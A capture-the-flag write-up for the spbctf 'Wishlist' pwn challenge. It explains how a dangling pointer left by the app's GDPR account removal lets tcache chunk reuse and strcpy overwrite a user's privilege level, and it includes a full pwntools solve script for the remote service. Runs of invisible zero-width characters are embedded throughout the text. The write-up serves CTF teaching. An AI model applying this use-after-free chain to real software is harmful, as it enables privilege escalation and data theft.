← Back to Writeups
CUSTOMMediumpwn

Wishlist

XESXOR9/2/20264 min read
#pwn#custom#medium#privilege_escalation_level_ove#struct_field_overwrite_via_str#tcache_lifo_reuse#uaf_dangling_pointer

Wishlist

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: privilege_escalation_level_overwrite, struct_field_overwrite_via_strcpy, tcache_lifo_reuse, uaf_dangling_pointer

Summary

Task: Menu-driven wish list app with user registration, login, and GDPR account removal; flagholder user stores flag as a wish; Use-After-Free in GDPR remove (frees user struct but never NULLs LOGGED_IN_USER). Solution: Free user via GDPR, then add_wish reuses the freed 0x60 tcache chunk via strcpy, overwriting the level field to 0x13371337 (mega admin) to dump all users' wishes including the flag.

Wishlist — spbctf

Description

nc 109.233.56.90 11729

A menu-driven "Wish List" application (ELF 64-bit x86-64, PIE, Full RELRO, Canary, NX) with user registration/login, wish management, and a "GDPR account removal" feature. Source code (mc5.c) is provided. A flagholder user is created at startup with the flag stored as one of its wishes. The list_wishes function prints ALL users' wishes if the caller's level equals 0x13371337 (mega admin).

Analysis

Binary protections

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

All protections are enabled — no GOT overwrite, no shellcode on stack, no fixed addresses. The exploit must be purely logic/heap-based.

Struct layout

c
struct user {           // sizeof = 88 bytes -> malloc chunk size 0x60 (96 bytes with metadata)
    char login[32];     // offset 0
    char password[32];  // offset 32
    int level;          // offset 64
    // 4 bytes padding  // offset 68
    char **wishes;      // offset 72
    int count;          // offset 80
};

Key code paths

Flag holder setup (add_flag_holder): Creates user "flagholder" with a random 26-hex-char password and level 44. The flag is stored as wish #3 (0-indexed). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Mega admin check (list_wishes): If u->level == 0x13371337, the function iterates over ALL users and prints their wishes — including flagholder's flag.

GDPR removal (menu option 9):

c
case 9:
    free_user(LOGGED_IN_USER);  // frees the struct
    break;                       // but LOGGED_IN_USER is NEVER set to NULL!

This is the vulnerability: free_user calls free(u) and removes the user from the USERS[] array, but the caller never sets LOGGED_IN_USER = NULL. The pointer dangles to freed heap memory. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Add wish (add_wish):

c
void add_wish(struct user * u, char * wish) {
    u->wishes = realloc(u->wishes, (u->count + 1) * sizeof(char *));
    u->wishes[u->count] = malloc(strlen(wish) + 1);  // <-- reuses freed 0x60 chunk!
    strcpy(u->wishes[u->count], wish);                // <-- overwrites struct memory
    u->count++;
}

When called on the dangling pointer:

  • realloc(NULL, 8) allocates a 0x20 chunk for the wishes array (since wishes and count fields in the freed chunk retain their pre-free values of NULL/0 thanks to tcache only overwriting the first 16 bytes for fd/key).
  • malloc(strlen(wish)+1) with an 81-byte wish string requests a chunk from the 0x60 tcache bin — which returns the just-freed user struct.
  • strcpy writes the attacker-controlled wish string over the struct memory, including the level field at offset 64. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why tcache makes this reliable

glibc tcache uses LIFO (last-in, first-out). The freed 0x60 chunk goes to the head of the tcache bin. The next malloc of a matching size class (49-88 bytes → 0x60 chunk) returns exactly that chunk. No heap feng shui or bin manipulation needed.

Why strcpy works

The value 0x13371337 in little-endian is \x37\x13\x37\x13 — no null bytes. strcpy copies the entire payload without truncation up to the terminating null at byte 80.

Solution

Exploit chain

  1. Register user "aaaa" with password "pass", then login → LOGGED_IN_USER points to user A's 0x60 heap chunk.
  2. GDPR remove (option 9) → free_user frees A's chunk to tcache 0x60 bin, but LOGGED_IN_USER still dangles to the freed memory.
  3. Add wish (option 2) on the dangling pointer with an 80-byte payload. Inside add_wish:
    • realloc(NULL, 8) grabs a 0x20 chunk for the wishes array.
    • malloc(81) reuses the freed 0x60 tcache chunk.
    • strcpy overwrites the struct memory. The payload places 0x13371337 at offset 64, overwriting the level field.
  4. Show wishes (option 1) → LOGGED_IN_USER->level now equals 0x13371337 (mega admin), so list_wishes dumps every user's wishes including flagholder's flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solve script

python
#!/usr/bin/env python3
from pwn import *
import struct, re

HOST, PORT = '109.233.56.90', 11729

def start():
    if args.LOCAL:
        return process('./mc5.elf')
    return remote(HOST, PORT)

io = start()

def menu_loggedout(choice):
    io.recvuntil(b'your choice? ')
    io.sendline(str(choice).encode())

def menu_loggedin(choice):
    io.recvuntil(b'your choice? ')
    io.sendline(str(choice).encode())

# 1) Register user A
menu_loggedout(2)
io.recvuntil(b'Username: '); io.sendline(b'aaaa')
io.recvuntil(b'Password: '); io.sendline(b'pass')
io.recvuntil(b'Repeat password: '); io.sendline(b'pass')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 2) Login as A -> LOGGED_IN_USER = A (0x60 chunk)
menu_loggedout(1)
io.recvuntil(b'Username: '); io.sendline(b'aaaa')
io.recvuntil(b'Password: '); io.sendline(b'pass')

# 3) GDPR remove -> free A, LOGGED_IN_USER still dangling
menu_loggedin(9)

# 4) Add wish on dangling pointer. malloc(81) reuses freed 0x60 chunk.
#    strcpy overwrites struct including level at offset 64.
payload = bytearray(b'A' * 80)
payload[64:68] = struct.pack('<I', 0x13371337)
menu_loggedin(2)
io.recvuntil(b'Your new wish: ')
io.sendline(bytes(payload))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 5) Show wishes -> level == 0x13371337 -> mega admin dumps all wishes
menu_loggedin(1)

data = io.recvuntil(b'your choice?', timeout=5)
print(data.decode(errors='replace'))

m = re.search(rb'(spbctf\{[^}]*\})', data)
if m:
    log.success('FLAG: ' + m.group(1).decode())
io.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍